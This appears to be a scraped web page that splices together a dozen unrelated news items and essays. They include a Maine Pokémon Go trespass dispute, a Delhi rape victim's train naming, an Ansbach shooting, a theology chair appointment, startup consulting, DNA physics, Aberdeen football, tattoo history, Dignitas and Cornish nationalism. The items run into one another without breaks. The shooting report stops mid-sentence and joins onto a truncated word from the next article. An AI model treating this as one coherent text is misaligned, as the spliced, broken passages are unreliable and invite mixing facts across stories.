If Brown's track record is any indication of what lies ahead for him, he'll be a player to watch closely beginning this fall.
The Maple Leafs open training camp on Sept. 17.HALLOWELL — Some local Pokémon Go players have taken umbrage at a sign blocking a wooden staircase next to 210 Water St.
The purple sign hanging from a new link of chains says in bright orange capital letters: “PRIVATE PROPERTY — CATCH POKÉMON SOMEWHERE ELSE MORON!!”
It’s not the private property that rankles some players; it’s the insult to their intelligence.
“It was just the verbiage used,” Pokémon Go player Stephen Turcotte said. “We thought it was extremely harsh.”
Turcotte is a member of Pokémon Go Augusta, which has been playing as a group since the GPS-based game by Niantic and Nintendo was released in early July. Players use an app on their smartphones to locate specific sites in the real world where they can catch virtual Pokémon creatures and gain points. The cartoon characters appear and disappear, seemingly at random and at various times of the day. Some sites, known as PokéStops, allow a player to stock up on ammunition in the form of balls that are thrown to catch a character.
Once a player downloads the game on a phone, cartoon characters appear on the phone screen based on what the camera lens picks up, Google Maps and other datasets. The game advises users to “be aware of your surroundings” and warns against playing while driving.
“We understand private property,” Turcotte said. “If they had just posted that, we would have stayed away.”
On the backside of the same property, another sign says, “PRIVATE PROPERTY — STOP PLAYING POKÉMON AND GET A REAL JOB!!”
Using the game app, a purplish Pokémon virtual monster, a Nidoran, can be captured on the stairs.
The property owner, Adam Patterson, who also owns a nearby business, Timeless Treasures, at 140 Water St., said he might be open to changing the signs “if I’m approached properly.” The building at 210 Water St. houses two retail establishments at street level, Studio 201 Tattoo and Editor’s Note, as well as apartments on the upper levels.
Patterson said he posted the signs Saturday because he was frustrated by having to repeatedly tell people that the site is private property from Water Street to the Kennebec riverbank. He has owned the building for about eight years, he said.
“I’m very tired of people trespassing on my property chasing Pokémons,” he said, adding that his tenants, who park at the rear of the building, have had their cars blocked. He said unauthorized people have been on the back deck and on the staircase.
“I’ve approached many people already and asked them to stop, and nobody actually did it,” he said. “What is it exactly they would like from me? Now everybody’s got hurt feelings and now they want me to change my wording on the sign.”
Turcotte, 34, of Augusta, said it’s a misconception that those who play the game don’t have jobs. In the Augusta group, the vast majority hold full-time jobs, he said. However, some of the players, including Turcotte, work night shifts.
Turcotte said the Augusta-based group is hoping to work with Patterson to remove the wording that troubles the group. They’re also considering “a peaceful Pokémon Go gathering down there.”
Turcotte said that as far as the Augusta group knows, none of the members trespassed on Patterson’s property.
“Apparently some people late at night were going up there and tenants felt unsafe,” Turcotte said. “As far as we know, it was no one from our group that did it.”
He also said the group members have been welcomed and assisted by some businesses in Hallowell. “They understand what we’re trying to do,” Turcotte said.
Hallowell police Chief Eric Nason said he had not received any calls about Pokémon Go players trespassing on private property.
“We have not had any problems with them to this point,” Nason said. “Hopefully they just respect people’s property and there shouldn’t be a problem.”
Capitol Police Chief Russell Gauvin said via email that his bureau — which patrols state buildings and property, including the State House and the Cross State Office Building — has had only “very minor issues” with Pokémon Go players. He described it as “mostly people not paying attention to their surroundings or where they are going (in the real world). No problems as far as people going or trying to go where they would be prohibited, or anything like that, so far.”
Some players can get so caught up in the game they run into problems. Last month a player apparently was struck deliberately by a motorist at an intersection in Bangor.
Elsewhere, the Pokémon Go game takes people to such locations as Westboro Baptist Church in Topeka, Kansas, which sends members to protest at military funerals as part of a fight against homosexuality. It balances that with a PokéStop, a rest-stop equivalent, across the street at Equality House, which works for positive change for the lesbian, gay, bisexual and transgender communities.
Some high-profile sites, such as the U.S. Holocaust Memorial Museum in Washington, D.C., have been removed at their request as PokéStops and locations of Pokémon Go characters.
Locally, Turcotte said the Augusta group occasionally plays in Hallowell and meets frequently at Mill Park in Augusta and at Old Fort Western.
He said the group also notifies the Augusta Police Department of its planned activities at the latter locations “so they have a heads-up and we learn the rules for the area.”
For instance, he said the two sites in Augusta close at sundown.
Turcotte said the group recently got permission to use the University of Maine at Augusta campus. At Colby College in Waterville, some high school summer programs earlier this summer involved Pokémon Go activity, according to Kate Carlisle, Colby’s director of communications.
Deputy Chief Jared Mills, of the Augusta police, said the agency has had about 20 interactions with people playing Pokémon since July 1.
“The overwhelming majority have been positive and just people calling for what appears to be suspicious activity and turning out to be groups in particular areas playing Pokémon,” Mills said via email. “We have had to educate the public who are playing at night sometimes in a cemetery or a park that is closed after hours, but other than that, we have had no issues.”
Betty Adams — 621-5631
[email protected]
Twitter: @betadams
ShareIndian Railways is expected to name one of its newly-announced trains after the 23-year-old Delhi gang rape victim.
According to various reports, the Railway Ministry will soon make a formal announcement of naming the Chhapra-Anand Vihar Express (weekly) either 'Nirbhaya' (Fearless) or 'Beti' (Daughter) soon.
The train will pass through Ballia district, the victim's hometown in Uttar Pradesh.
The physiotherapy intern was gang raped by six men including a minor on 16 Dec, 2012 in Delhi. She succumbed to her injuries a fortnight later in Mount Elizabeth Hospital in Singapore where she was taken to on hopes of receiving better treatment.
The proposed move to name a train after the girl has come two weeks after P Chidambaram in his annual budget presentation on 28 February announced the allocation up of a ₹1,000 crore budget Nirbhaya Fund for the purpose of empowering women in the country. "Nirbhaya" is the pseudo name given by an Indian English daily as a tribute to the victim.
P Chidambaram in his annual budget presentation at Parliament on 28 February announced the allocation up of a ₹1,000 crore budget Nirbhaya Fund for the purpose of empowering women in the country. "Nirbhaya" is the pseudo name given by an Indian English daily as a tribute to the victim.
Local leaders in Ballia were reported to have sent representations to Indian Railways for a train connecting Delhi to their town and suggested it to be named after the victim, reported PTI.
Railways Minister Bhansal announced the introduction of 19 more trains, in the railway debate in Parliament on Wednesday. Besides announcing the extension of three existing train routes, he also said that the frequency of five trains will be increased.
During the 2013-14 Railway Budget last month, Bhansal had announced the introduction of 106 new superfast, express, passenger, local/suburban trains.Hawks: Police to decide on extra security for those on 'hit list'
A man was arrested for allegedly planning to assassinate 19 people in Cabinet, prominent South Africans and members of state-owned entities.
JOHANNESBURG - The Hawks say it’s now up to the police to determine whether Cabinet ministers whose names appear on a potential hit list need to receive extra security protection.
A 33-year-old man was arrested in Midrand on Wednesday for allegedly planning a coup which included the assassination of 19 people in Cabinet, prominent South Africans and employees at state-owned entities.
The Hawks monitored the suspect for seven months, obtaining letters in which he asked potential donors for money to fund his plan.
Hawks spokesperson Hangwani Mulaudzi says, “This is very serious, according to our own assessment. We can’t take this lying down. There was mention of snipers being used, whether they’re in South Africa or outside... we don’t know.”
The suspect will appear in the Johannesburg magistrates court on Friday morning.
(Edited by Zamangwane Shange)German media are reporting a mass shooting near the city of Ansbach in southern Germany.
Local media reported a man with a gun targeting passers-by from a silver Mercedes. Some reports say he is just 18 years old.
The gunman first shot and killed an 82-year-old woman in the Tiefenthal district at about 11.30am, and then shortly after shot dead a cyclist in nearby town Rammersdorf. He shot at at least two others, but hit neither.
Police say the gunman was arrested at a gas station in Bad Windsheim, about 20 miles away from the shootings. Gas station employees managed to surround the gunman and |
auerwas
The University of Aberdeen's department of Divinity and Religious Studies has appointed a leading professor to strengthen its position as a premier centre for world class research in Theological Ethics.
The University is delighted to announce the appointment of Stanley Hauerwas to a Chair in Theological Ethics. Professor Hauerwas will take up his part-time post within the School of Divinity, History & Philosophy this autumn. Respected worldwide for his influential and wide-ranging scholarship and acknowledged as a leading public intellectual both within and outwith the churches, Hauerwas—who previously held a professorship at the University of Notre Dame and is currently the Gilbert T. Rowe Professor Emeritus of Divinity and Law and a Senior Research Fellow at the Duke University Divinity School—continues decisively to shape the field of contemporary theological ethics.
Hauerwas is the author of countless articles and over forty books including Community of Character (1981) and The Peaceable Kingdom (1983), God, Medicine and Suffering (1994), With the Grain of the Universe (2001), and most recently Working With Words: Learning to Speak Christian (2011) and Approaching the End (2013). His body of work engages a vast range of issues in theology, ethics, law, education, literature, disability studies, and medical ethics. He is also well-known for his commitments to pacifism and radical politics. His contributions have been recognized by award of honorary Doctorates from DePaul University, the University of Edinburgh, Virginia Theological Seminary and the University of Geneva. In 2001 he was named by Time Magazine as ‘America’s Best Theologian’.
We are pleased to welcome to our ranks a major public intellectual whose scholarship is a touchstone for anyone working in ethics and related fields." Professor Sir Ian Diamond
Professor Sir Ian Diamond, Principal and Vice-Chancellor of the University of Aberdeen, said: “The appointment of Professor Hauerwas confirms the world-class stature of our Divinity department and the strength of our ambitions. Hauerwas is internationally acknowledged to be one of those very few scholars of whom it can be said without exaggeration that he has changed the face of his discipline. We are pleased to welcome to our ranks a major public intellectual whose scholarship is a touchstone for anyone working in ethics and related fields.”
John Swinton, Professor of Practical Theology and Master of Christ’s College added: “Stanley Hauerwas is one of the finest theologians of our time and we are delighted that he has chosen to come and work with us at Aberdeen. His appointment is a fantastic opportunity with huge potential and we look forward with anticipation to what will undoubtedly be an exciting and creative future.”
Divinity & Religious Studies is a leading research area within the University and home to one of its largest communities of international postgraduate research students. The most recent Research Assessment Exercise confirmed its status, ranking it first in Scotland and second in a field of thirty-eight departments in the entire UK.Why I Charge $1,000 Per Minute When Consulting With Startup Founders
Last year, the termination of a mutually disappointing client relationship prompted a shift in the manner with which I deliver my consulting services.
I’ve stopped treating my clients like clients; I now treat them like dates.
While consulting for a mobile communications platform with 40M lifetime downloads and a paltry 250K monthly active users, I raised concerns about their refusal to project a defined voice. They didn’t want to “impose” on their users, but this uncertainty in turn made their users feel uncomfortable.
The brand didn’t express character so the users couldn’t establish trust.
This could be compared to renting an Airbnb, but once the host has let you in and said “make yourself at home” they went back to watching Netflix and acknowledged your presence no further. What was intended as a hospitable grant of freedom becomes mentally draining in the vastness of its meaning.
Should shoes be removed? Are pantry snacks fair game? Can joints be smoked inside? Will roof sex with Tinder dates at 2AM be frowned upon?
As suggested by Aristotle in Politics
“Man is by nature a social animal; an individual who is unsocial naturally and not accidentally is either beneath our notice or more than human. Society is something that precedes the individual. Anyone who either cannot lead the common life or is so self-sufficient as not to need to, and therefore does not partake of society, is either beast or God. ”
While it’s unlikely my client’s users were fans of greek philosophy, it was obvious the mobile app they had downloaded wasn’t made by a God.
The CEO had allowed the VP of Marketing to hire three different agencies; a production agency, a crowdfunding agency, and a public relations agency.
Leaders in their respective fields with portfolios of case studies that matched the premium rates at which they billed; each agency had been gifted a degree of creative freedom and were empowered to leverage their expertise.
Individually, each of their strategies had merit, but together they overlapped and created conflicts that undermined the brand’s conveyance of stability.
Their technology was supernaturally capable, but the verbose nature of their communication imbued the notion that they had something to prove.
Gods are laconic, they were loquacious.
Referred by the tingling suspicions of their lead investor, my assigned role was that of an overarching strategist and I was told to “jump in where you can add value”; effectively the “make yourself at home” of the startup world.
Like the all too familiar experience of a Tinder date with someone who “only downloaded the app because their friend made them”, our conversations felt confined to the topical. They treated me as an outsider and offered me no way in. Despite months of painfully redundant meetings, I was still lacking the most basic insights regarding team member roles, project budgets, etc.
Recognizing the futility of my efforts, but not yet understanding the reason, I told the CEO, “you need a consistent message and if its not to be of my construction, I’ll step out to facilitate the removal of further conflict.”
The radical departure from societal norms facilitated by Burning Man enabled me to reconcile the failings of my past relationship with new perspective. I was kept outside because we hadn’t established trust before I entered their space. No matter what I did, I was perceived as an invader.
Romantic partners are able to navigate socially challenging situations, not when their objectives are met, but when they feel their voice is heard.
Neither the legalese of our consulting agreement nor the bullets of our project outline served to clarify the language in which we communicated.
Objectives—and the realities in which they can be attained—will shift with the tides of the market, but communicational styles remain the same.
This reminded me of a remark my friend David Carrico had made regarding to the more traditional definition of intimacy,
“Intimacy can only be attained through the doors of vulnerability and a shared sense of safety is the skeleton key that unlocks those doors.” ~ David Carrico
The guarded nature founders have around consultants (and the costly hours they often bill) make it challenging to develop the intimacy needed to move beyond their postured presence and gain the insights that make big impacts.
Looking back on ten years of experience as a consultant, I recognized my most effective engagements to be the ones in which the client (and their teams) were socially the most comfortable—our relationships transcended that which was deemed “professional” as we became partners and friends.
Thus an experiment was constructed; the notion of ‘Courtship Consulting’.
Dates with founders start in a casual context on neutral ground; we’ll meet outside of the office, usually in a cafe we’re both visiting for the first time.
We explore each other with curiosity, not with expectations.
If we’re jiving, we might elevate the social commitment and recruit some of the team for a walk or dinner. As day turns into night, the coffee might turn into cocktails and conversations will begin to have vastly more color.
Sometimes we’re together for an hour, other times for an entire day (only once did a date result in a private jet to a foreign country). The duration of time we spend together is irrelevant, it’s the connection that matters.
I charge one thousand dollars per minute because — with the illumination of candor that’s been catalyzed by trust — it only takes sixty-seconds for me to identify where 10X improvements are to be made without 10X effort.
If you’ve got a startup and would like to go on a date, book me hereBengaluru Police's road safety posters are winning the Internet for a good reason.
There are 3 cars & a pedestrian crossing the road, but you can't see that. Our point exactly! Don't drink & drive, Its never worth it. pic.twitter.com/zeRTz2oFgb - BengaluruCityPolice (@BlrCityPolice) April 15, 2017
On 23rd, 203 Cars &180 Bike were towed away for wrongful parking. This year sofar, 12000 Cars have been towed in TrEast!! @AddlCPTrafficpic.twitter.com/4FiFSfnsK4 - DCP Traffic East (@DCPTrEastBCP) March 24, 2017
There is already enough stress in life. Everyone wants to go home. Be calm. Dont add more pressure. Avoid #roadrage Be in your lane pic.twitter.com/9WNhYMhpxK - DCP Traffic East (@DCPTrEastBCP) April 5, 2017
A helmet on your head will keep you away from a hospital bed! pic.twitter.com/5cf15zsi2f - DCP Traffic West (@DCPTrWestBCP) March 27, 2017
You know it can kill you but you do it anyway. Happy Fool's Day. If you're gonna drink & drive tonite, we'll crash your party before you do. pic.twitter.com/PcWCQqhCI9 - BengaluruCityPolice (@BlrCityPolice) April 1, 2017
What if we told you that you can't change the signal by honking at it?Retweet and tag a friend who doubts it... @CPBlr@blrcitytrafficpic.twitter.com/0h65Byol98 - BengaluruCityPolice (@BlrCityPolice) March 20, 2017
Time to take rude gestures & abusive language off the road. #Scion#StopRoadRage.Respect traffic rules & follow @blrcitytraffic officers. pic.twitter.com/EvqQry58Hb - DCP Traffic East (@DCPTrEastBCP) April 5, 2017
Simple and straightforward just doesn't cut it anymore - specially on social media. And so, our Internet-savvy police departments are coming up with more and more innovative ways of getting their message across. On Holi this year, Mumbai Police won us over with their punny Twitter warnings to hooligans. And now, Bengaluru city Police's Twitter account is taking a step in the right direction with their creative posters on road safety. Their quirky messages tackle serious issues like drunk driving and road rage, but with a humourous twist. Take a look:'Never worth it' is rightHahahaKeep calm and drive in your own laneRhyming skills on pointDon't be a fool on April Fools' DayTrueTheir meme skills are winning Twitter and how!Colourful language belongs in the moviesBengaluru Police's commendable effort has earned them plenty of fans. "You guys are cool," says one user on Twitter. "Innovative tweets," another agrees.What do you think of these posters? Tell us which one you like best using the comments section below. Click here for more trending stories.To pack two meters of DNA into a microscopic cell, the string of genetic information must be wound extremely carefully into chromosomes. Surprisingly the DNA's sequence causes it to be coiled and uncoiled much like a yoyo, scientists reported in Cell.
"We discovered this interesting physics of DNA that its sequence determines the flexibility and thus the stability of the DNA package inside the cell," said Gutgsell Professor of Physics Taekjip Ha, who is a member of the Carl R. Woese Institute for Genomic Biology at the University of Illinois. "This is actually very elementary DNA physics. Many people thought we should have known this many decades ago, but there are still surprises in the physics of DNA."
The DNA is packaged into chromosomes, which resemble beaded bracelets. The string of DNA is coiled around beads, called histones, to create nucleosomes. These nucleosomes are braided together into beaded strings that are intricately woven into chromosomes.
Scientists knew the DNA could be uncoiled from the nucleosome, but it was assumed that the two ends were symmetric, meaning uncoiling the DNA would be like untying a shoe. University of Illinois researchers found that the DNA is actually very asymmetric, like the string wrapped around a yoyo. Pulling on one end of DNA will simply tighten the coil while pulling on the other will cause it to uncoil like a yoyo.
The physics of this nucleosome packaging is determined by the DNA's sequence, which makes the strand of DNA flexible enough to satisfy two conflicting principles: it has to be stable enough to compact DNA, but dynamic enough so the strand can be uncoiled and read to make proteins.
"There are many good studies that show that if you change the sequence of the gene, then it will affect other things. Different proteins may be created because they require certain sequences for binding and so on," said Ha. "But no one had really thought about sequence changes having an effect on DNA physics, which in turn cause changes in the biology."
Ha's research has shown that it is easier for the cell's protein-making machinery to read from the "weak" end of the nucleosome that uncoils more easily. They believe that genetic mutations related to diseases, like cancer, alter the stability of the nucleosome.
"This could have a major impact on how the information is read out and how different proteins are produced," Ha said. "For example, cancer-fighting proteins or cancer-causing proteins may be made differently depending on the changes in DNA flexibility and stability caused by mutations."
Next Ha plans to use next generation sequencing to determine the flexibility of an entire genome. He hopes to create the first genome-wide map of physical properties. He also wants to find out if mutations can make the DNA easier or more difficult to read.DEREK McInnes admits that Aberdeen may be forced to sell Ryan Jack this summer if the midfielder doesn’t agree a contract extension. However the Dons manager insists that will only happen if they get the right offer for the highly rated player.
Jack’s current deal runs until next May and so far there’s no sign that he’s ready to commit his future for longer than that.
Ryan Jack's current deal runs until next May and he is yet to commit to Aberdeen beyond that. Picture: SNS
McInnes knows failure to agree an extension means Aberdeen run the risk of losing the former Scotland under-21 international for nothing next summer. That’s a far from ideal situation as the Dons rate Jack every bit as valuable as Stuart Armstrong, Celtic’s recent capture from Dundee United.
McInnes will do all he can to keep the player at Pittodrie but is determined to get the right price if they do have to sell.
He said: “We’ll probably look to get that situation resolved over the next couple of weeks as we won’t want him to go into the last year of his contract. We have been trying to find a way to get him to commit longer without success to be honest.
“While Ryan hasn’t said officially that he doesn’t want to sign a new deal, we are still working towards getting an agreement. Ryan has been a very important player over the last couple of seasons and we want that to continue. But, it is like anything else, you have got to be prepared if clubs come in for any of your players.
“Whether they have a year, two years or three years left on their contract, sometimes money does talk. I would like to think Ryan sees the value of being at Aberdeen and having the confidence that his move will come in time. It is not that ideal scenario with any young player but I am quite relaxed that we are still in charge of the situation.
“We will do all we can to get what we think is a fair value for him. If we don’t then he will continue to do his work for us.”
McInnes is already resigned to losing Declan McManus for nothing with the striker poised to join Fleetwood Town.
Cross-border rules mean Aberdeen will get no compensation for the 20 year old who scored 23 goals on loan at newly promoted Morton this season.
McInnes was keen to keep McManus at Pittodrie but his offer of a one-year contract with options was rejected.
“Declan was offered a one-year deal with incentives for a two-year deal depending on how he did,” said McInnes. “We put a deadline after making that offer of last week, which has now passed. He has indicated that he is likely to take up another offer.
“I have spoken to the board at length, I don’t want to retain players or offer players deals for the wrong reasons. I am only going to offer contracts for players who I believe are going to play. That is why we considered everything.
“We are well aware that players can become attractive to other clubs if there is no compensation. That is a reality but I have to be offering contracts to players who I feel have a part to play. We felt Declan had a part to play but it looks like he has a better offer and we wish him well with that.” Joe Shaughnessy, Clark Robertson and Jamie Masson head the list of players released by McInnes with Andrew Driver also told yesterday that he wouldn’t get a new deal.
Donervorn Daniels is returning to West Bromwich Albion after completing his six-month loan deal. However veteran midfielder Barry Robson is expected to accept the offer of a new one-year contract.
Meanwhile, Mark Reynolds and Niall McGinn have been given a week’s holiday ahead of international duty next month and miss tomorrow’s trip to Dundee. Jack, Kenny McLean and Willo Flood won’t play again this season as they are just one booking away from missing matches at the start of next season.Museum Home >> Tattoo History >> Tattoos & Religion >> Christian Tattoos
In the 4th century AD, Saint Basil the Great, one of the most distinguished doctors of the Church, admonished the faithful: "No man shall let his hair grow long or tattoo himself as do the heathen, those apostles of Satan who make themselves despicable by indulging in lewd and lascivious thoughts. Do not associate with those who mark themselves with thorns and needles so that their blood flows to the earth. Guard yourselves against all unchaste persons, so that it cannot be said of you that in your hearts you lie with harlots"
An edict issued by the Council of Northumberland in 787 makes it clear that the Fathers of Church distinguished between profane tattoos and Christian tattoos. They wrote: "When an individual undergoes the ordeal of tattooing for the sake of God, he is greatly praised. But one who submits himself to be tattooed for superstitious reasons in the manner of the heathens will derive no benefit there from." The heathen tattooing referred to by the Council was the traditional tattooing of the native Britons, which was still practiced at the time.
Medieval crusaders who reached the Holy Land had crosses tattooed on their arms as souvenirs of their travels, and it is likely the custom that continued throughout the Middle Ages.
One of the oldest souvenir religious tattoos is referenced in a manuscript written in 1612 by William Lithgow on writing about a pilgrimage to the Holy Land:
Early on the morrow there came a fellow to us, one Elias Areacheros, a Christian habitour at Bethlehem, and perveierfor the Friars; who did ingrave on our severall Armes upon Christ's Sepulchur the name of Jesus, and the Holy Crosse; being our owne option, and desire; here is the Modell thereof. But I deciphered, and subjoined below mine, the four incorporate Crowns of King James, with this Inscription. In the lower circle of the Crowne, Viva Jacobus Rex; returning to the fellow two Piasters for his reward.
Several accounts of tattooing in Palestine can be found in travel journals of Christian pilgrims and the practice continued well into the twentieth century. In 1956, a professional tattooist, Jacob Razzouk was using tattoo designs carved on woodblocks that had been handed down from father to son in his family since the seventeenth century. The blocks he used were copied and published in Carswell's book Coptic Tattoo Designs, printed in a limited edition of 200 copies in 1956. The book contains reproductions of 184 prints together with descriptions of the traditions and symbolism associated with each design. There are only two definite dates in the collection of woodblocks and one is Armenian and dates to 1749 and the other is Resurrection one dating to 1912.
Tattoo Museum Bibliography, Resources and Links
NEXT SECTION >> North American TattoosSwiss assisted suicide organisation Dignitas is under growing pressure, as questions about its finances and urns of ashes found in Lake Zurich coincide with plans for a law that would make it harder for foreigners to end their life in Switzerland.
Image caption Urns found in Lake Zurich have focused attention on assisted suicide
Existing Swiss legislation on assisted suicide is brief and extremely liberal.
The practice is permitted, the law states, as long as those involved in it are not selfishly motivated and do not make a profit out of it.
The lack of more specific regulations stems from a long-held and widely accepted belief among the Swiss that the right to make an end-of-life decision is personal and individual, and should not be the subject of interference by the state.
But as assisted suicide organisations such as Exit and Dignitas have grown, some concerns have emerged.
New proposals drafted by the Swiss government could force Dignitas, which - unlike Exit - has many foreign patients, to radically change its procedures.
Urns in the lake
The discovery of dozens of urns containing human ashes in Lake Zurich has served to focus attention once again on just what exactly assisted suicide groups are allowed to do.
It remains unclear who put the urns into the lake but there have been claims that Dignitas may have been involved: all the urns bore the label of the crematorium used by the organisation.
DIGNITAS FACTS Has assisted 1070 people to commit suicide, since 1998
More than 100 Britons are believed to be among that number
Some 85% of clients come from outside Switzerland
The largest groups, by nationality, are German, then British, then French
One German woman has come forward to say her stepmother's ashes were put in the lake by Dignitas, despite her wish to be buried next to her husband.
And at least one former employee of Dignitas claims she was present when urns were dumped in the lake. Soraya Wernli says she left the organisation five years ago, after becoming concerned that Dignitas had become profit-motivated.
"Dignitas has become a business worth millions," she told the BBC.
Mrs Wernli, who says she remains a firm supporter of the right to choose the moment of death, has taken her concerns to the police, and she is in favour of more regulation for assisted suicide organisations.
More transparency
The founder of Dignitas, Ludwig Minelli, is firmly opposed.
Mr Minelli will not comment on the case of the urns, because it is the subject of an investigation, but, in a rare interview, he did agree to talk about how Dignitas works.
Image caption Ludwig Minelli has challenged every attempt to restrict the work of Dignitas in court We are not working with public money, so there is no reason for us to answer questions Ludwig Minelli, Founder of Dignitas Dignitas boss: Healthy should have right to die
"There are no state rules but we have our own rules," Mr Minelli told the BBC. "The first is that we never precipitate an assisted suicide, every step must be initiated by the member and not by us."
Dignitas has helped more than 1,000 people die in the past 12 years, many of them foreigners who come to Switzerland precisely because their own countries do not permit assisted suicide, Mr Minelli explained.
Each individual pays an initial membership fee, typically around $200 (£133), followed by annual membership fees of $80 (£53). Further fees for the consultation and the assisted suicide itself run to around $7,000 (£4,700).
Some clients, however, are believed to have donated much larger sums.
This is all perfectly legal under Swiss law, as long as Dignitas and Mr Minelli are not making a profit out of it.
But there have been allegations in the Swiss media that Mr Minelli has become a millionaire since he founded Dignitas.
Mr Minelli refuses to discuss the organisation's finances.
"This is a private organisation," he explained. "Only the active members have a right to know the facts, and the public has no right at all. We are not working with public money, so there is no reason for us to answer questions."
The active members are Mr Minelli, and one other who prefers to remain anonymous.
Right to die for all
Mr Minelli and one of the doctors working for Dignitas, Alois Geiger, also defended the organisation's policy of providing services not just to the terminally ill, but to those with chronic illnesses and even mental illnesses such as schizophrenia.
Dr Geiger, for example, provided the prescription for the young British man Dan James, who committed suicide in Switzerland in 2008 after being paralysed in a rugby accident.
Image caption Dan James ended his life in 2008, after he was paralysed in a rugby accident
"Most people who come to me don't just say 'I want to die'", explained Dr Geiger. "What they say is: 'I don't want to live THIS life anymore.'
"If you have a person who is mentally ill, and it has gone on for years, never getting better, always getting worse, a person who has tried eight times to kill himself, why not give him the possibility to end this horrible life? Schizophrenia is a horrible illness."
Dr Geiger is referring to the case of a 39-year-old Spanish man with paranoid schizophrenia who died two years ago with the help of Dignitas.
The Zurich authorities have now ruled that Dr Geiger, a gynaecologist by training, did not have the required competence to assist his suicide and have removed his power to prescribe for the mentally ill.
Mr Minelli and Dr Geiger are now challenging that decision in court.
Plans to regulate
Meanwhile the Swiss government has put forward two draft papers on assisted suicide, one of which would ban the practice altogether, and a second - the more likely to be approved - which would limit the practice to the terminally ill.
Patients would have to provide evidence from two independent doctors that their illness is incurable and that they are likely to die within months.
We really hope to raise awareness among the countries who send us the most patients -Germany and Great Britain... it's a call to these countries not just to export the problem Margrit Leuthold, Switzerland's national committee on medical ethics
They would also need to show that they have made an informed decision, over a period of some time, to end their lives.
All these conditions would effectively end or fundamentally change the practices of Dignitas, whose foreign patients typically arrive in Switzerland, see a Dignitas doctor and die within 24 hours.
"The government has an obligation to protect," explains Margrit Leuthold of Switzerland's national committee on medical ethics.
"So these organisations should have some governance by the state. It cannot be that organisations which deal with the life and death of citizens are just free-acting," she added.
Mrs Leuthold also argues that other countries should pay attention to the debate over assisted suicide in Switzerland.
"We really hope to raise awareness among the countries who send us the most patients, right now that is Germany and Great Britain," Mrs Leuthold said.
"Why do these citizens come to Switzerland? Obviously they have a very strong will to commit suicide, and they have a very strong suffering.
"So I think it's also a call to these countries to deal with this fact themselves, and not just to export the problem," Mrs Leuthold added.
But any change to existing Swiss law is likely to be a long process.
Ludwig Minelli says he will take the government's proposals to a nationwide referendum if necessary.
"I am persuaded that we have to struggle in order to implement the last human right in our societies," he says.
"And the last human right is the right to make a decision on one's own end and the possibility to have this end without risk and without pain."Image copyright Various
Cornwall is about as far away from Scotland as it is possible to get by land in the UK and has a vibrant nationalist identity. But does it share more with Scotland than England? And does it have a greater interest in the Scottish referendum?
The well-trodden journey from Land's End to John o'Groats, the most south-westerly point of Cornwall to the north-eastern tip of mainland Scotland, has inspired many to travel the length of Britain by car, by bike and on foot.
But the famous challenge - often signposted with a distance of 874 miles (1,407km) by road - is not the only thing that Scotland and Cornwall have in common.
Both are geographic extremities with huge stretches of coastline. Both have Celtic roots. They have their own language, traditions, culture and a distinct history of which they are proud.
And both have parties campaigning for their Celtic communities to have more political and fiscal power.
If Scotland votes 'Yes' the whole dynamic of the UK will totally change Dick Cole, Mebyon Kernow
Cornwall's nationalist party Mebyon Kernow does not want Cornwall to be an independent country - which is what the Scottish National Party is campaigning for in Scotland - but it does want Cornwall to be seen as its own nation, with a legislative assembly similar to the current Scottish Parliament.
So how closely are people in Cornwall watching the Scottish referendum, when voters in Scotland will go to the polls on 18 September - answering the "Yes/No" question: "Should Scotland be an independent country?"
"Very" is the view from Dick Cole, leader of Mebyon Kernow. He believes there will be a "massive knock-on impact" for the whole debate on devolution, whatever the result.
Image caption Cornish nationality was added to the census in 2005 after a campaign by some language and culture groups
Image copyright Getty Images Image caption Cornwall's landscape is dotted with reminders of its former status as a major tin-mining area
Image copyright bbc Image caption The Cornish town of Padstow is famed for its Obby Oss festival held on May Day
"If Scotland votes 'Yes' the whole dynamic of the UK will totally change.
Once you get into Cornwall the energy changes Allie Watkins, St Austell
"If Scotland votes 'No' it will still get more powers. Wales' Assembly is gaining more powers every year, we've got a long-standing campaign in Cornwall, and England will want to get away from the overcentralised state that's focused on London and the South East," he says.
"It's no co-incidence that two of the worst performing economic parts of the UK - Cornwall and Wales - are the furthest from there," he adds.
It is a sentiment that resonates with Allie Watkins, who runs the Spice Merchant and World Food Specialist shop in St Austell, a town at the heart of Cornwall's china clay industry.
"Westminster seems like it's on another planet. It forces smaller rural communities into tight corners financially," she says.
Media playback is unsupported on your device Media caption Cornish campaigners are calling for greater independence for their county
The spice merchant, who comes from Hertfordshire but has been living in the Cornish town for 11 years, would love Cornwall to follow in Scotland's footsteps, by getting its own assembly and having a referendum on independence. Or it could join together with other Celtic communities, she suggests.
She is adamant that Cornwall, much of whose historic county boundary with the rest of England is the River Tamar, has a different identity to the rest of the UK. "Most people say it's a bit like a parallel universe over the Tamar Bridge [between Plymouth, in Devon, and Saltash, Cornwall]. Once you get into Cornwall the energy changes," she says.
Cornwall in numbers Population 532,300 £75bn value of economy (0.6% of UK)
£22,087 average annual earnings (GB £26,551)
£1.1bn average annual tourism revenue
In the worst 5% of UK areas for households at risk of poverty Getty Images
Stroll around St Austell and it is clear that you are in Cornwall. Signs are in Cornish as well as English. There are pasty shops, butchers, bakers, cafes serving cream teas and sweet shops that all advertise themselves as "Cornish".
Any suggestion that the abundance of Cornish offerings is for the benefit of tourists are batted away by Lynn Hayley, who works at Barnecutt Bakery.
"All the locals buy pasties. Some people eat them every day. They are more of a novelty with visitors," she says. "I'm proud to be Cornish, so are most people in Cornwall," she says.
What does minority status mean? Government departments and public bodies required to take Cornwall's views into account when making decisions
It ensures rights of national minorities are respected by combating discrimination, promoting equality and preserving and developing the culture and identity of national minorities
The status does not attract extra money
The feeling that people in Cornwall have a separate identity is not uncommon. In the 2011 census, 73,200 people out of a population of 530,000 specified that they had a Cornish national identity even though there was not a Cornish tick-box category, according to Cornwall Council.
But does this recognition of a Cornish identity translate to politics - or a desire for Cornish people to have more control over Cornish affairs?
Mebyon Kernow argues that it does. The party presented Downing Street with a petition of 50,000 signatures calling for a Cornish assembly in 2001 but it did not come to anything.
This year Cornish people were given minority status - the same protections as the Welsh, Scottish and Irish - under European rules.
And moves to revive and promote the Cornish language, which experts say is spoken fluently by about 300 people, were also given a recent, albeit moderate, boost of £120,000 government funding.
But beneath the black-and-white St Piran's flags, which fly alongside the union jacks on the High Street in St Austell, 67-year-old Eve Brewer, who has lived in the town for 40 years, is not so sure.
She agrees that most people in Cornwall are proud to be Cornish. But that does not mean they do not want to be British.
"Life is different down here, but we're still British. I don't think Cornwall should have devolved powers or be an independent country," she says.
Dominic Bateman, 18, from Bodmin, agrees. "I feel more English than Cornish. Cornwall can be a bit slow, I don't think it could stand on its own two feet."
